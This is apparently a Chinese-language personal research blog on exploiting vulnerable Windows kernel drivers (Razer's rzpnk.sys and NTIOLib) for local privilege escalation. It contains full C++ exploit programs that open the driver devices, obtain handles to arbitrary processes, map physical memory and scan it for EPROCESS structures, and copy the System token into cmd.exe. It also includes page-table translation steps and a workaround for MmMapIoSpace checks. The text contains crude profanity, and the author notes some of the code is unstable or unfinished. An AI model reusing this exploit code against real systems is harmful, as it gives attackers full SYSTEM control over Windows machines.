返回
顶部

漏洞样本文件

参考

分析majorfunction中的create函数可知打开rzpnk.sys驱动的设备的进程名需要是razeringameengine.exe或者rzdriverinstaller.exe

create dispatch:

DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)sub_1CC10;

sub_1CC10间接调用到函数sub_10C40,在该函数中检查进程名

image-20250429112901015

满足这个条件后,随便一个普通用户就可以以READ|WRITE权限打开rzpnk的设备\\.\47CD78C9-64C3-47C2-B80F-677B887CF095

image-20250429112953019

然后我们通过IDA可以看到IoControl的派遣函数列表

DriverObject->MajorFunction[0xE] = (PDRIVER_DISPATCH)sub_12650

sub_12650函数会调用函数数组中的+14h,即sub_10B40函数

image-20250429120518063

靠,之前分析错驱动了

zwopenprocess

前面的当我没写

真正的漏洞驱动文件是这个

使用下面这个漏洞利用代码可以直接到达ZeOpenProcess函数,获取任意进程的句柄

#include <windows.h>
#include <iostream>

int main() {
    printf("0x%x\n", GetCurrentProcessId());
    system("pause");
    // [Get Driver Handle]
    HANDLE hDevice = CreateFileA(
        "\\\\.\\47CD78C9-64C3-47C2-B80F-677B887CF095",
        FILE_READ_ACCESS | FILE_WRITE_ACCESS,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        nullptr,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
        nullptr
    );

    if (hDevice == INVALID_HANDLE_VALUE) {
        std::cout << "\n[!] Unable to get driver handle..\n";
        printf("error code: 0x%x\n", GetLastError());
        return 1;
    }
    else {
        std::cout << "\n[>] Driver access OK..\n";
        std::cout << "[+] lpFileName: \\\\.\\47CD78C9-64C3-47C2-B80F-677B887CF095 => rzpnk\n";
        std::cout << "[+] Handle: " << hDevice << "\n";
    }

    // [Prepare buffer & Send IOCTL]

    // Input buffer (PID 4 + 0)
    unsigned char InBuffer[16] = { 0 };
    *(reinterpret_cast<INT64*>(&InBuffer[0])) = 0x4;    // PID 4 = System
    *(reinterpret_cast<INT64*>(&InBuffer[8])) = 0x0;    // 0x0

    // Output buffer 1KB
    LPVOID OutBuffer = VirtualAlloc(
        nullptr,
        1024,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );

    if (!OutBuffer) {
        std::cout << "\n[!] Failed to allocate output buffer.\n";
        CloseHandle(hDevice);
        return 1;
    }

    // Ptr receiving output byte count
    DWORD BytesReturned = 0;

    // 0x22a050 - ZwOpenProcess
    BOOL CallResult = DeviceIoControl(
        hDevice,
        0x22a050,
        InBuffer,
        sizeof(InBuffer),
        OutBuffer,
        1024,
        &BytesReturned,
        nullptr
    );

    if (!CallResult) {
        std::cout << "\n[!] DeviceIoControl failed..\n";
        VirtualFree(OutBuffer, 0, MEM_RELEASE);
        CloseHandle(hDevice);
        return 1;
    }

    // [Read out the result buffer]
    std::cout << "\n[>] Call result:\n";
    std::cout << std::hex << std::uppercase
        << *(reinterpret_cast<INT64*>(OutBuffer)) << "\n";
    std::cout << std::hex << std::uppercase
        << *(reinterpret_cast<INT64*>((reinterpret_cast<BYTE*>(OutBuffer)) + 8)) << "\n";

    // Cleanup
    VirtualFree(OutBuffer, 0, MEM_RELEASE);
    CloseHandle(hDevice);

    return 0;
}

这内核代码写的是真傻逼

image-20250429145828582

image-20250429150944839

image-20250429151007543

如何进一步利用这个漏洞

参考

源代码

image-20250429154104779

另一个洞

这个驱动好像还有一个洞,在ZwMapViewOfSection函数上面,不过看这个洞之前,需要先看一下这篇文章

这篇文章中提到的漏洞驱动文件

image-20250429172459986

image-20250429172442355

如上图所示,可以直接使用控制码0xC3506104映射物理内存

要想利用这个来扫描内存中的EPROCESS结构体,需要先了解一些知识

参考

参考

windows内核中的对象的内存布局

FIG#1

PoolHeader的结构

image-20250429185148152

那么我们扫描到Eprocess的内存Tag:Proc之后,-4就可以得到EPROCESS所在内存的起始位置

跳过PoolHeader和Object_header就可以得到EPROCESS的地址

OBJECT_HEADER->Body就是EPROCESS的内容

那么计算方式应该就是locatedAddr-4+sizeof(PoolHeader)+offset(body of object_header)就行了应该

kd> dt _object_header ffffe18d8544c0e0
nt!_OBJECT_HEADER
   +0x000 PointerCount     : 0n1
   +0x008 HandleCount      : 0n0
   +0x008 NextToFree       : (null) 
   +0x010 Lock             : _EX_PUSH_LOCK
   +0x018 TypeIndex        : 0xbc ''
   +0x019 TraceFlags       : 0 ''
   +0x019 DbgRefTrace      : 0y0
   +0x019 DbgTracePermanent : 0y0
   +0x01a InfoMask         : 0x4c 'L'
   +0x01b Flags            : 0x41 'A'
   +0x01b NewObject        : 0y1
   +0x01b KernelObject     : 0y0
   +0x01b KernelOnlyAccess : 0y0
   +0x01b ExclusiveObject  : 0y0
   +0x01b PermanentObject  : 0y0
   +0x01b DefaultSecurityQuota : 0y0
   +0x01b SingleHandleEntry : 0y1
   +0x01b DeletedInline    : 0y0
   +0x01c Reserved         : 0x273
   +0x020 ObjectCreateInfo : 0xffffe18d`81e76580 _OBJECT_CREATE_INFORMATION
   +0x020 QuotaBlockCharged : 0xffffe18d`81e76580 Void
   +0x028 SecurityDescriptor : (null) 
   +0x030 Body             : _QUAD
kd> !object ffffe18d`8544c110 
Object: ffffe18d8544c110  Type: (ffffe18d78ae1140) File
    ObjectHeader: ffffe18d8544c0e0 (new version)
    HandleCount: 0  PointerCount: 1
    Directory Object: 00000000  Name: \Windows\System32\wshbth.dll {HarddiskVolume3}
kd> dt _file_object ffffe18d`8544c110 
nt!_FILE_OBJECT
   +0x000 Type             : 0n5
   +0x002 Size             : 0n216
   +0x008 DeviceObject     : 0xffffe18d`798918f0 _DEVICE_OBJECT
   +0x010 Vpb              : 0xffffe18d`798d35b0 _VPB
   +0x018 FsContext        : (null) 
   +0x020 FsContext2       : (null) 
   +0x028 SectionObjectPointer : (null) 
   +0x030 PrivateCacheMap  : (null) 
   +0x038 FinalStatus      : 0n0
   +0x040 RelatedFileObject : (null) 
   +0x048 LockOperation    : 0 ''
   +0x049 DeletePending    : 0 ''
   +0x04a ReadAccess       : 0 ''
   +0x04b WriteAccess      : 0 ''
   +0x04c DeleteAccess     : 0 ''
   +0x04d SharedRead       : 0 ''
   +0x04e SharedWrite      : 0 ''
   +0x04f SharedDelete     : 0 ''
   +0x050 Flags            : 0x44040
   +0x058 FileName         : _UNICODE_STRING "\Windows\System32\wshbth.dll"
   +0x068 CurrentByteOffset : _LARGE_INTEGER 0x0
   +0x070 Waiters          : 0
   +0x074 Busy             : 0
   +0x078 LastLock         : (null) 
   +0x080 Lock             : _KEVENT
   +0x098 Event            : _KEVENT
   +0x0b0 CompletionContext : (null) 
   +0x0b8 IrpListLock      : 0
   +0x0c0 IrpList          : _LIST_ENTRY [ 0xffffe18d`8544c1d0 - 0xffffe18d`8544c1d0 ]
   +0x0d0 FileObjectExtension : (null) 

从这张图中可以看到,实际的EPROCESS距离POOL_HEADER的差值是0x70,而我们定位到的Proc tag和EPROCESS差值就是0x70-4->0x6C

image-20250430102930132

POOL_HEADER和OBJECT_HEADER之间存在OPTIONAL_HEADER,这个是可选的header,具体数量不确定,但是对于我们的EPROCESS对象,我们随便找一个进程看一下就可以确定一共有几个可选HEADER了,这个是由object_header的infomask决定的

image-20250430103407161

image-20250430103527585

0x88的话那就是两个可选header: OBJECT_HEADER_QUOTA_INFO和OBJECT_HEADER_PADDING_INFO

我又随便找了几个进程,infomask的值都是0x88,虽然这个地方的值都是0x88,但是有的差值是0x70,有的是0x80

System进程直接没有可选header,infomask的值直接就是0,差值是0x40,那我们就先定位System

然后再定位一个cmd(差值0x80),然后把system的token写入到cmd中

写入内存

前面我们提到可以使用iocode 0xC3506104来读取物理内存,当需要写入的时候我们需要使用另一个iocode 0xC350A108

image-20250430112042314

image-20250430112057348

从上图中可以看到是往映射出来的内存中写入数据

inBuffer的0x10保存原始内存起始地址,0xc保存size,0保存目的物理地址

这个傻逼洞好像根本就没有办法利用,mmmapiospace总是崩溃,或者是返回0,根本就没办法用

这个玩意儿根本就没有办法稳定利用,因为调用mmmapiospace之前需要先锁内存页

看下面

参考

不管怎么样,我把搜索EPROCESS的代码放在这里了:

#include <windows.h>
#include <comdef.h>
#include <Wbemidl.h>
#include <iostream>
#include <unordered_map>
#include <algorithm>
#include <cstdio>
#include <cstdlib>
#include <cstdint>
#pragma comment(lib, "wbemuuid.lib")
// #define EPROCESS_IAMGE_NAME_OFFSET 0x5A8
#define SYSTEM_IMAGE_NAME_OFFSET 0x5E4 // 0x3C+0x5A8
#define CMD_IMAGE_NAME_OFFSET 0x624 // 0x7C+0x5A8
#define SYSTEM_TOKEN_OFFSET 0x4F4 // 0x3C+0x4B8
#define CMD_TOKNE_OFFSET 0x534 // 0x7C+0x4B8
#define SYSTEM_IMAGE_NAME "SYSTEM"
#define CMD_IMAGE_NAME "cmd.exe"
#define STEP 0x1000
#ifndef max
#define max(a,b)            (((a) > (b)) ? (a) : (b))
#endif
#define b8 DWORD64
#define b4 DWORD
#define b2 WORD
#define b1 UCHAR 
DWORD64 q(PBYTE a1) { return *(DWORD64*)(a1); }
DWORD d(PBYTE a1) { return *(DWORD*)(a1); }
WORD w(PBYTE a1) { return *(WORD*)(a1); }
UCHAR b(PBYTE a1) { return *(PBYTE)(a1); }
b1* GMemBuffer;
void getHardwareMappings(std::unordered_map<uint64_t, uint64_t>& hardwareMappings)
{
    if (FAILED(CoInitializeEx(0, COINIT_MULTITHREADED)))
    {
        return;
    }

    if (FAILED(CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE, NULL)))
    {
        CoUninitialize();
        return;
    }

    IWbemLocator *pLoc = NULL;
    if (FAILED(CoCreateInstance(CLSID_WbemLocator, 0, CLSCTX_INPROC_SERVER, IID_IWbemLocator, (LPVOID *)&pLoc)))
    {
        CoUninitialize();
        return;
    }

    IWbemServices *pSvc = NULL;
    if (FAILED(pLoc->ConnectServer(_bstr_t(L"ROOT\\CIMV2"), NULL, NULL, 0, NULL, 0, 0, &pSvc)))
    {
        pLoc->Release();
        CoUninitialize();
        return;
    }

    if (FAILED(CoSetProxyBlanket(pSvc, RPC_C_AUTHN_WINNT, RPC_C_AUTHZ_NONE, NULL, RPC_C_AUTHN_LEVEL_CALL, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE)))
    {
        pSvc->Release();
        pLoc->Release();
        CoUninitialize();
        return;
    }

    IEnumWbemClassObject* pEnumerator = NULL;
    if (FAILED(pSvc->ExecQuery(bstr_t("WQL"), bstr_t("SELECT * FROM Win32_DeviceMemoryAddress"), WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY, NULL, &pEnumerator)))
    {
        pSvc->Release();
        pLoc->Release();
        CoUninitialize();
        return;
    }

    std::vector<std::pair<uint64_t, uint64_t>> ranges;
    IWbemClassObject *pclsObj = NULL;
    ULONG uReturn = 0;
    while (pEnumerator)
    {
        HRESULT hr = pEnumerator->Next(WBEM_INFINITE, 1, &pclsObj, &uReturn);
        if (0 == uReturn)
        {
            break;
        }

        VARIANT vtProp;
        pclsObj->Get(L"StartingAddress", 0, &vtProp, 0, 0);
        uint64_t startAddr = 0;
        swscanf_s(vtProp.bstrVal, L"%lld", &startAddr);
        VariantClear(&vtProp);

        pclsObj->Get(L"EndingAddress", 0, &vtProp, 0, 0);
        uint64_t endAddr = 0;
        swscanf_s(vtProp.bstrVal, L"%lld", &endAddr);
        VariantClear(&vtProp);

        pclsObj->Release();
        ranges.push_back(std::pair<uint64_t, uint64_t>(startAddr, endAddr + 1));
        //printf("%0I64X %0I64X\n", startAddr, endAddr);
    }
    //insert dummy range <0xF0000000, 0xFFFFFFFF>
    ranges.push_back(std::pair<uint64_t, uint64_t>(0xF0000000LL, 0x100000000LL));

    std::sort(ranges.begin(), ranges.end());
    auto it = ranges.begin();
    std::pair<uint64_t, uint64_t> current = *(it)++;
    while (it != ranges.end())
    {
        if (current.second >= it->first)
        {
            current.second = max(current.second, it->second);
        }
        else
        {
            hardwareMappings[current.first] = current.second - current.first;
            current = *(it);
        }
        it++;
    }
    hardwareMappings[current.first] = current.second - current.first;

    pSvc->Release();
    pLoc->Release();
    pEnumerator->Release();
    CoUninitialize();
}
bool writePhMem(HANDLE hDevice, b8 destPhAddr, b8 b8Value);
HANDLE getDriverHandle();
b8 elevatePriv(HANDLE hDev,std::unordered_map<uint64_t, uint64_t> hwHole);

bool mapPhMem(HANDLE hDevice, b8 phStart, b4 size);
int main() {
    HANDLE hDevice = getDriverHandle();
    // Output buffer 1KB
    LPVOID OutBuffer = VirtualAlloc(
        nullptr,
        STEP,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );

    if (!OutBuffer) {
        std::cout << "\n[!] Failed to allocate output buffer.\n";
        CloseHandle(hDevice);

    }
    GMemBuffer = (b1*)OutBuffer;

    std::unordered_map<uint64_t, uint64_t> mapping;
    // 枚举出来所有的设备内存范围,不然读取到这些内存地址会直接导致蓝屏
    getHardwareMappings(mapping);
    for (const auto& pair : mapping) {
        printf("0x%p -> 0x%p\n\n", pair.first, pair.second);
    }
    system("pause");
    // 然后就可以和驱动交互来读写内存了
    printf("trying to elvate my privilege\n");
    elevatePriv(hDevice,mapping);
    return 0;
} 
b8 elevatePriv(HANDLE hDev,std::unordered_map<uint64_t, uint64_t> hwHole) {

    b8 systemToken = 0;
    b8 cmdTokenPhAddr = 0;
    // 基本思想就是扫描整块物理内存,来定位系统进程的EPROCESS
    // 但是我们要调过硬件内存区域
    b8 phMemSize;
    // 获取系统上安装的物理内存的大小 单位是kb 1024bytes
    GetPhysicallyInstalledSystemMemory(&phMemSize);
    // 那么物理内存地址的最大值应该是
    // 每次读取一个内存页 4kb
    b4 step = STEP;
    for (b8 i = 0; i < phMemSize * 1024; i += step) {
        // 跳过硬件范围
        auto it = hwHole.find(i);
        if (it != hwHole.end())
            i += it->second;
        if (!mapPhMem(hDev, i, step)) {
            printf("read physical mem failed\n");
            continue;
        }
        printf("start addr: 0x%p\n", i);
        // 读取内存
        // GMemBuffer
        // 这里涉及了一些关于windows内存的知识
        printf("mem succeed\n");
        // EPROCESS所在的内存中有一个tag,就是Proc,翻译成b4就是    636F7250
        for (b4 j=0;j< STEP -4;j++) {
            // 这里需要注意,如果j+4已经超过了0x1000,就要终止循环了
            if (*(b4*)(GMemBuffer + j) == 0x636F7250) {
                printf("located eprocess mem region\n");

                if (!strcmp((char*)(GMemBuffer + j + SYSTEM_IMAGE_NAME_OFFSET), SYSTEM_IMAGE_NAME)) {
                    systemToken = *(b8*)(GMemBuffer + j + SYSTEM_TOKEN_OFFSET);
                    printf("system token get: 0x%p\n", systemToken);
                    if(cmdTokenPhAddr) 
                        goto END;
                }
                else if (!strcmp((char*)(GMemBuffer + j + CMD_IMAGE_NAME_OFFSET), CMD_IMAGE_NAME)) {
                    // 记住物理内存地址
                    cmdTokenPhAddr = i;
                    printf("cmd.exe token physical address get: 0x%p\n", i);
                    if (systemToken)
                        goto END;
                }
            }
        }
    }
END:
    // TODO
    // 这里需要进行写入
    writePhMem(hDev, cmdTokenPhAddr, systemToken);
    return 0;
}
bool writePhMem(HANDLE hDevice, b8 destPhAddr, b8 b8Value) {
    unsigned char InBuffer[0x18] = { 0 };
    *(reinterpret_cast<INT64*>(&InBuffer[0])) = destPhAddr;
    *(reinterpret_cast<INT64*>(&InBuffer[0x10])) = destPhAddr;
    *(reinterpret_cast<INT64*>(&InBuffer[0xc])) = 8;



    // Ptr receiving output byte count
    DWORD BytesReturned = 0;


    BOOL CallResult = DeviceIoControl(
        hDevice,
        0xC3506104,
        InBuffer,
        sizeof(InBuffer), 
        GMemBuffer, // outbuffer随便填,因为根本就用不到
        8,
        &BytesReturned,
        nullptr
    );

    if (!CallResult) {
        std::cout << "\n[!] DeviceIoControl failed..\n";
        printf("error code: 0x%x\n", GetLastError());
        return 0;
        CloseHandle(hDevice);

    }
    return 1;
}
HANDLE getDriverHandle() {
    HANDLE hDevice = CreateFileA(
        "\\\\.\\NTIOLib_ACTIVE_X",
        FILE_READ_ACCESS | FILE_WRITE_ACCESS,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        nullptr,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
        nullptr
    );

    if (hDevice == INVALID_HANDLE_VALUE) {
        std::cout << "\n[!] Unable to get driver handle..\n";
        printf("error code: 0x%x\n", GetLastError());
        return 0;
    }
    else {
        std::cout << "\n[>] Driver access OK..\n";
        std::cout << "[+] lpFileName: \\\\.\\NTIOLib_ACTIVE_X => ntiolib_x64\n";
        std::cout << "[+] Handle: " << hDevice << "\n";
    }
    return hDevice;
}
bool mapPhMem(HANDLE hDevice,b8 phStart,b4 size) {
    unsigned char InBuffer[0x10] = { 0 };
    // inBuffer的0x8存一个b4,值为1,指示驱动将映射出来的物理内存拷贝到我们传过去的buffer中
    // outBuffer将存储映射出来的物理内存
    // inBuffer的0xC存一个b4作为要映射的size
    // inBuffer的0存一个b8,作为物理内存的开始地址
    *(reinterpret_cast<INT64*>(&InBuffer[0])) = phStart;
    *(reinterpret_cast<INT64*>(&InBuffer[8])) = 1;
    *(reinterpret_cast<INT64*>(&InBuffer[0xc])) = size;



    // Ptr receiving output byte count
    DWORD BytesReturned = 0;


    BOOL CallResult = DeviceIoControl(
        hDevice,
        0xC3506104,
        InBuffer,
        sizeof(InBuffer),
        GMemBuffer,
        size,
        &BytesReturned,
        nullptr
    );

    if (!CallResult) {
        std::cout << "\n[!] DeviceIoControl failed..\n";
        printf("error code: 0x%x\n", GetLastError());
        return 0;
        CloseHandle(hDevice);

    }  
    printf("bytes count read out: 0x%x\n", BytesReturned);
    return 1;
}

虽然没有办法稳定利用MmMapIoSpace ,但是我们可以稳定利用ZwMapViewOfSection

rzpnk.sys的iocode 22a064可以到达zwmapviewofsection函数,并可以直接控制handle参数,映射结果会返回给outbuffer

sub_17840

ZwMapViewOfSection(a3, ProcessHandle, BaseAddress, 0i64, a4, 0i64, (PSIZE_T)v11, ViewUnmap, 0, 0x40u);

其中a3为inbuffer的0x10(section handler),a4为inbuffer的0x20(CommitSize)

也就是说我们可以控制ZwMapViewOfSection函数的handler参数和commit size参数,以及第7个参数ViewSize,由我们的a4控制,也就是可以控制实际上要映射多大的内存出来,我们直接指定a4为0即可映射整个section

image-20250506144828566

映射结果baseaddress作为caller的第五个参数直接写回到outbuffer的0x18

image-20250506145144810

那么我们现在只需要获取到位于pid 4即system进程的physicalmemory section的句柄值即可

我们先使用老版本的processhacker(密码是1)看一下这个section的句柄值

image-20250506145720572

0x550和0x574都是可以的,当然在实际的利用环境中我们是没有办法提前知道这个section的handle value的,这里只是为了获取当前操作系统版本的section类型的index值

使用这个代码,输出如下:

image-20250506145957217

好了,我们现在知道section类型的index值是42了

但是还有一个问题,就是system进程中有很多section,我们用户模式下是无法知道每个handle对应的名称的,但是通过我的观察,\Device\PhysicalMemory的handle值是比较靠前的,如果将所有的section handle按照升序排列,那么在前十个里面肯定可以找到\Device\PhysicalMemory

那么我们来试着写一下代码

我们好像不能把ViewSize指定为0,因为我们没有办法接收返回参数,我们只能传入,无法获取传出的值

那么我们只能把a4写成当前机器的物理内存大小了,但是我们只能使用dword来指定,dword最大只能描述4GB的内存,如果机器超过4gb的物理内存就不行了,我想到一个办法,那就是先指定物理内存大小,如果超过4GB就指定4gb,然后使用前10个handle value进行调用,如果不是\Device\PhysicalMemory应该会返回STATUS_INVALID_VIEW_SIZE 0xC000001F(存储在outbuffer的0x28),我先来测试一下

inbuffer和outbuffer的size要超过0x30

image-20250506161010038

验证成功: 代码

image-20250506162320441

这样我们就获得了\Device\PhysicalMemory的句柄值,我们使用这个句柄值重新映射,这次传入viewsize为0

我靠,我指定0,他说我内存不够,错误代码c0000017,那算了,我还是直接指定实际的内存值吧

定位到cmd.exe的eprocess

image-20250506164729651

演示视频

代码

演示视频中可以看到最后cmd进程的token和system的token值并不是完全一样的,这个我也不太清楚是为啥

反正可以正常提权就行

MmMapIoSpace利用 windows 1803版本之前可以用

要利用这个东西,需要首先弄清楚windows的分页机制

参考

虚拟地址到物理地址的转换

image-20210905135519016 (1)

image-20210831220831378

使用如下脚本可以将虚拟地址转换成上面4个表的offset和最后的offset的形式:

def parse_virtual_address(addr_str):
    # Convert hex string to 64-bit integer
    addr = int(addr_str, 16)

    # Masks and shifts based on bit positions
    offset_mask = 0xFFF
    pt_mask = 0x1FF << 12
    pd_mask = 0x1FF << 21
    pdpt_mask = 0x1FF << 30
    pml4_mask = 0x1FF << 39
    sign_mask = 0xFFFF << 48

    # Extract parts
    offset = addr & offset_mask
    pt = (addr & pt_mask) >> 12
    pd = (addr & pd_mask) >> 21
    pdpt = (addr & pdpt_mask) >> 30
    pml4 = (addr & pml4_mask) >> 39
    sign = (addr & sign_mask) >> 48

    print(f"Address: {addr_str}")
    print(f"Sign Extension: {sign:#06x}")
    print(f"PML4 Index     : {pml4:#05x}")
    print(f"PDPT Index     : {pdpt:#05x}")
    print(f"PD Index       : {pd:#05x}")
    print(f"PT Index       : {pt:#05x}")
    print(f"Offset         : {offset:#05x}")


# Example usage
parse_virtual_address("ffffc8024fb7d5c0")

转换结果:

Address: ffffc8024fb7d5c0
Sign Extension: 0xffff
PML4 Index     : 0x190
PDPT Index     : 0x009
PD Index       : 0x07d
PT Index       : 0x17d
Offset         : 0x5c0

计算过程:

kd> !process 0 0 lsass.exe
PROCESS ffffc8024fb7d5c0
    SessionId: 0  Cid: 031c    Peb: 6103bfb000  ParentCid: 0294
    DirBase: 39aff000  ObjectTable: ffff9c88e17caa80  HandleCount: 980.
    Image: lsass.exe

获得cr3 value即DirBase:39aff000,这个就是PML4T的base,使用PML4 index 0x190计算出PML4E

在windbg中可以使用!dq查看DWORD64

kd> !dq 39aff000  +190*8 l1
#39affc80 0a000000`013d1863

计算PDPT的base,起始就是用PML4E里面存的值和0xFFFFF000做与操作

kd> ? 0a000000`013d1863&0xFFFFF000
Evaluate expression: 20779008 = 00000000`013d1000

使用PDPT index 0x9和PDPT base 0x13d1000计算PDPE里面存的值,顺便计算出PDT的base

kd> !dq 013d1000+9*8 l1
# 13d1048 0a000000`013d0863
kd> ?0xFFFFF000&0a000000`013d0863
Evaluate expression: 20774912 = 00000000`013d0000

使用PDT Index : 0x07d计算PDE里面存的值并计算出PT的base

kd> !dq 013d0000+7d*8 l1
# 13d03e8 0a000000`1e4f8863
kd> ?0a000000`1e4f8863&0xFFFFF000
Evaluate expression: 508526592 = 00000000`1e4f8000

使用PT Index : 0x17d计算PTE里面存的值并计算出最终的base

kd> !dq 1e4f8000+8*17d l1
#1e4f8be8 8a000000`1bc97963
kd> ? 8a000000`1bc97963&0xFFFFF000
Evaluate expression: 466186240 = 00000000`1bc97000

这个base加上最终的offset 0x5c0就是虚拟地址ffffc8024fb7d5c0对应的物理地址

kd> !dq 1bc97000+0x5c0 l4
#1bc975c0 00000000`00b60003 ffffc802`4fb71e50
#1bc975d0 ffffc802`4fb71e50 ffffc802`4fb7d5d8
kd> dqs ffffc8024fb7d5c0 l4
ffffc802`4fb7d5c0  00000000`00b60003
ffffc802`4fb7d5c8  ffffc802`4fb71e50
ffffc802`4fb7d5d0  ffffc802`4fb71e50
ffffc802`4fb7d5d8  ffffc802`4fb7d5d8

我们的目标是System进程的cr3,System的EP地址可以使用如下代码获取

可以看到System进程EP非常好找,他的handle value就是windows系统的第一个handle 4

image-20250507163833918

而且System的cr3相对于其他进程的cr3非常小

image-20250507163112112

步长0x1000,搜索1a0到1b0

使用前面获取的EP虚拟地址翻译出来物理地址,然后查看ImageFileName是不是System来确定是否找到了正确的cr3

large page

在页表转换的时候需要考虑到一种特殊情况,那就是large page

参考

image-20250507190217807

PAT标志位位于bit 7

image-20250507190254900

一般出现在PDE中,比如windows的System进程的cr3就在PDE这一层启用了large page

image-20250507190402556

所以我们需要在到达PDE这一层级的时候检测是否启用了large page

提权

前面我们已经枚举出了system的ep物理地址,下面我们再来枚举cmd进程的ep物理地址,我们先使用这个代码看一下thread对象类型的index值

image-20250507212451940

可以看到thread类型的index值为8,然后我们就可以使用这个代码获取到我们目标cmd进程的其中一个thread对象的内核地址

我们不用枚举目标进程的cr3,因为不管是ethread还是eprocess都是内核的数据结构,属于是System进程的东西,就还是使用system的cr3进行虚拟地址的翻译即可

image-20250507234821292

本代码仅适用于windows 1709版本,因为我用到了eprocess和kthread的偏移量,我是硬编码在代码中的

代码

演示视频

在挂了内核调试器利用MmMapIoSpace会崩溃的解决方案

关闭调试模式即可,如果一定要使用调试器,请往下看

参考

image-20250507191907735

关于高版本windows cr3无法被MmMapIoSpace访问的问题

尝试使用Mmmapiospacey映射PML4E会返回0

image-20250508125958950

下面提到的cr3其实是cr3/0x1000

发生错误的地方是这里

image-20250508184227143

正常是相等的,我们的不相等,我直接手动把这一块的内存指令修改了,可以正常利用

image-20250508184209581

poi(cr3*6*8+poi(nt!MiFillSystemPtes+0x2d6+2)) >> 0xD & FFFFFFFFFFFFFFF0 | FFFF800000000000

这个结果必须为FFFF800000000030h

其实说白了就是poi(cr3*6*8+poi(nt!MiFillSystemPtes+0x2d6+2))的值必须位于60000~6ffff

反正所有的cr3都是不符合这个条件的

poi(nt!MiFillSystemPtes+0x2d6+2)其实就是nt!MmPfnDatabase

image-20250508190811223

虽然我们没有直接在os的代码中看到,但是计算出来的mmpfn中的mmpte的内容,PML4E正好是落在PTE指示的table base范围内的

image-20250508191454744